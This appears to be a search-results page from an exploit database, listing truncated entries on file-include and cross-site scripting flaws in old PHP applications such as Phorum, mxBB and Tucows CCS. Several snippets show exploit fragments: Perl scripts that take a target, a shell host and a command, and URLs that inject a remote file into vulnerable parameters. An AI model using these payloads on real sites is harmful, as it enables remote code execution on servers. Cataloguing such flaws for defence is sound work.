8994 matches found
WEBInsta Mailing List Manager InitDB.PHP远程文件包含漏洞
WEBinsta Mailing List Manager是一款基于PHP的邮件列表程序。 WEBinsta Mailing List Manager不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'InitDB.PHP'脚本对用户提交的'absolutepath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 WEBInsta WEBInsta Mailing Manager 1.3 d WEBInsta WEBinsta Mailing List Manager 1.3.e...
JCE Admin Component for Joomla! 'plugin' Parameter Local File Include
The version of the JCE Admin component for Joomla! running on the remote host is affected by a local file include vulnerability due to improper sanitization of user-supplied input to the 'plugin' parameter before using it in the components/comjce/jce.php script to include PHP code. Regardless of...
mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability
mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability Bugfound3R: bd0rk || SOH-Crew Website: www.soh-crew.it.tt Greetz: str0ke, Lu7k, TheJT, Natok Download: http://www.mx-system.com/modules/mxpafiledb/dload.php?action=download&fileid=70 == Vulnerable Code in...
mxBB Module Profile CP 0.91c Remote File Include Vulnerability
Exploit for unknown platform in category web applications ============================================================== mxBB Module Profile CP 0.91c Remote File Include Vulnerability ============================================================== mxBB Module Profile Control Panel 0.91c Remote Fil...
Animated Smiley Generator File Include Vul.
LiderHack.Org & Trtekforum.com script name : Animated Smiley Generator Version : All script sites : http://smileygenerator.us Dork : "Smileygenerator" Risk : High Found By : St@rExT Vulnerable file :final.php Error code : require"$smiley/cmd.php"; Exploit:...
08 Tucows Client Code Suite (CSS) <= 1.2.1015 File Include Vulnerability
No description provided by source. !/usr/bin/perl Tucows Open Project --Remote File Inclusion Vulnerablity Bug Found & Exploit coded By Dr Max Virus Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip use LWP::UserAgent; $target=@ARGV0; $shellsite=@ARGV1;...
KDPics 1.11/1.16 - 'index.php3?categories' Cross-Site Scripting
source: https://www.securityfocus.com/bid/21515/info KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input. A successful exploit may allow unauthorized users to vie...
mxBB Module Profile CP 0.91c Remote File Include Vulnerability
No description provided by source. mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability Bugfound3R: bd0rk || SOH-Crew Website: www.soh-crew.it.tt Greetz: str0ke, Lu7k, TheJT, Natok Download: http://www.mx-system.com/modules/mxpafiledb/dload.php?action=download&fileid=70 ==...
KDPics 1.111.16 - galeries.inc.php3?categories Cross-Site Scripting
KDPics 1.111.16 - galeries.inc.php3?categories Cross-Site Scripting source: https://www.securityfocus.com/bid/21515/info KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize...
KDPics 1.111.16 - index.php3?categories Cross-Site Scripting
KDPics 1.111.16 - index.php3?categories Cross-Site Scripting source: https://www.securityfocus.com/bid/21515/info KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied...
KDPics 1.11/1.16 - 'galeries.inc.php3?categories' Cross-Site Scripting
source: https://www.securityfocus.com/bid/21515/info KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input. A successful exploit may allow unauthorized users to vie...
Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability
No description provided by source. ===========================================================br / Yee7TeaMbr / br / WwW.Yee7.CoMbr / ===========================================================br / br / Software: Phorum v3.2.11br / br / Vendor: http://www.phorum.org/br / br / Download:...
Tucows Client Code Suite (CSS) <= 1.2.1015 File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Tucows Client Code Suite CSS $cmd=$; chomp$cmd; $xpl = LWP::UserAgent-new or die; $req =...
Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion
!/usr/bin/perl Tucows Open Project --Remote File Inclusion Vulnerablity Bug Found & Exploit coded By Dr Max Virus Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip use LWP::UserAgent; $target=@ARGV0; $shellsite=@ARGV1; $cmdv=@ARGV2; if$target!/http:/// ||...
J-OWAMP Web Interface <= 2.1b (link) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================ J-OWAMP Web Interface $cmd=$; chomp$cmd; $xpl = LWP::UserAgent-new or die; $req =...
Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =============================================================== Phorum // $dbfile = './db/postgresql65.php'; Exploit: http://localhost/paTh/common.php?dbfile=Ev!lScript =========================================================== By: Mr-m07...
OPT Max <= 1.2.0 (CRM_inc) Remote File Include Vulnerability
No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - OPT Outreach Project Tool = 1.2.6 CRMinc Remote File Include Vulnerabilities + + + - Script name: OPT Outreach Project Tool v. 1.2.6 - Script site: http://sourceforge.net/projects/outreach + + + - Find by:...
WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability
No description provided by source. / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE...
PHProjekt <= 5.1 Multiple Remote File Include Vulnerabilities
No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Script name: PHProjekt v. 5.1 - Script site: http://www.phprojekt.com/ + + + - Find by: Kacper a.k.a Rahim + - Contact: [email protected] - or - http://www.devilteam.yum.pl + + + - Greetz: DragonHeart - a...
MVCnPHP <= 3.0 glConf[path_libraries] Remote Include Vulnerabilities
No description provided by source. MVCnPHP Remote File Inclusion ToXiC CrEw Bug Found by Drago84 Page Sources: http://freshmeat.net/redir/mvcnphp/46123/urltgz/GeeklogMVCnPHP-3.0.0.tgz Page Affect: BaseCommand.php BaseLoader.php BaseView.php ExP:...